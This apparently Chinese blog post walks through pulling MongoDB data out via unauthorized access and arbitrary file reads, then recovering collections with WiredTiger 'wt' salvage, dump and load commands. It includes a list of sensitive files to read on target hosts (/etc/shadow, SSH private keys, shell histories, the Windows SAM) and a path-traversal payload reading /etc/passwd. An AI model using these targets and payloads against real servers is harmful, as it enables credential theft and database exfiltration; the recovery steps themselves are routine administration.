【MongoDB】利用未授权访问和任意文件读取漏洞拖库及数据恢复

13.0之前版本的MongoDB,默认监听在0.0.0.0，3.0及之后版本默认监听在127.0.0.1；
23.0之前版本，如未添加用户管理员账号及数据库账号，使用--auth参数启动时，在本地通过127.0.0.1仍可无需账号密码登陆访问数据库，远程访问则提示需认证；
33.0及之后版本，使用--auth参数启动后，无账号则本地和远程均无任何数据库访问权限。

 1Windows：
 2   C:boot.ini  //查看系统版本
 3   C:WindowsSystem32inetsrvMetaBase.xml  //IIS配置文件
 4   C:Windowsrepairsam  //存储系统初次安装的密码
 5   C:Program Filesmysqlmy.ini  //Mysql配置
 6   C:Program Filesmysqldatamysqluser.MYD  //Mysql root
 7   C:Windowsphp.ini  //php配置信息
 8   C:Windowsmy.ini  //Mysql配置信息
 9   ...
10Linux：
11   /etc/passwd                  #查看用户文件
12   /etc/shadow                  #查看密码文件，如果能读取该文件说明是root权限
13   /etc/my.cnf
14   /etc/httpd/conf/httpd.conf   #查看apache的配置文件
15   /root/.bash_history          #查看历史命令
16   /root/.mysql_history         #mysql历史命令记录文件
17   /var/lib/mlocate/mlocate.db  #本地所有文件信息
18   /etc/ssh/sshd_config         #ssh配置文件，如果对外开放可看到端口
19   /proc/self/fd/fd[0-9]*(文件标识符)
20   /proc/mounts
21   /porc/config.gz
22   /root/.ssh/authorized_keys
23   /root/.ssh/id_rsa
24   /root/.ssh/id_ras.keystore
25   /root/.ssh/known_hosts
26
27程序的配置文件
28apache：
29    /etc/httpd/conf/httpd.conf
30    /etc/apache2/httpd.conf
31    /etc/apache2/apache2.conf
32
33nginx：
34    /etc/nginx/nginx.conf
35    /usr/local/nginx/conf/nginx.conf
36    /usr/local/etc/nginx/nginx.conf
37redis：
38    /etc/redis.conf
39index.php?f=../../../../../../etc/passwd

 1|-- WiredTigerLAS.wt                   |存储的是内存里面lookaside table的持久化的数据
 2|-- WiredTiger.wt                      |存储的是所有集合（包含系统自带的集合）相关数据文件和索引文件的checkpoint信息
 3|-- WiredTiger.turtle                  |存储的是WiredTiger.wt这个文件的checkpoint数据信息
 4|-- WiredTiger.lock                    |WiredTiger运行实例的锁文件，防止多个进程同时连接同一个Wiredtiger实例
 5|-- WiredTiger                         |存储的是WiredTiger存储引擎的版本号，编译时间等信息
 6|-- storage.bson                       |一个BSON格式的二进制文件，其内容与WiredTiger存储引擎的配置有关
 7|-- sizeStorer.wt                      |存储所有集合的容量信息，如集合中包含的文档数、总数据大小
 8|-- mongod.lock                        |MongoDB启动后在磁盘上创建的一个与守护进程mongod相关的锁文件
 9|-- index-*--***.wt                    |索引文件
10|-- collection-*--***.wt               |数据文件
11|-- _mdb_catalog.wt                    |存储的是集合表名与磁盘上数据文件和索引文件间的对应关系

1collection-0-10888**
2collection-0-**23935***
3collection-0-**59974***

1collection-2*-8***.wt    # 要恢复的collection文件若干
2_mdb_catalog.wt
3storage.bson
4WiredTiger
5WiredTiger.basecfg
6WiredTiger.lock
7WiredTiger.turtle
8WiredTiger.wt

1./wt -v -h /root/桌面/dyj -C "extensions=[./ext/compressors/snappy/.libs/libwiredtiger_snappy.so]" -R salvage collection-2*-8***.wt
2

1./wt -v -h /root/桌面/dyj -C "extensions=[./ext/compressors/snappy/.libs/libwiredtiger_snappy.so]" -R dump -f ../collection1.dump collection-2*-8***

 1#启动一个新的Mongo实例
 2./mongod --dbpath tmp-mongo --storageEngine wiredTiger --nojournal
 3#启动MongoDB
 4./mongod --config /usr/local/mongodb/etc/mongodb.conf
 5#创建一个叫做test1的数据库
 6./mongo
 7> use test1
 8> db.brokedCollection.insert({test: 1})
 9> db.brokedCollection.remove({})
10#stats()方法可以查看集合所对应的wt文件名称，如下图所示，记录下该名称后面会用到
11> db.brokedCollection.stats()
12#关闭MongoDB
13> use admin
14> db.shutdownServer()

1./wt -v -h /usr/local/mongodb/data -C "extensions=[./ext/compressors/snappy/.libs/libwiredtiger_snappy.so]" -R load -f /root/桌面/collection1.dump -r collection-2*-8***

1./mongod --config /usr/local/mongodb/etc/mongodb.conf
2./mongodump
3./mongorestore --drop

1./mongoexport --db test1 --collection brokedCollection --out /home/test1.json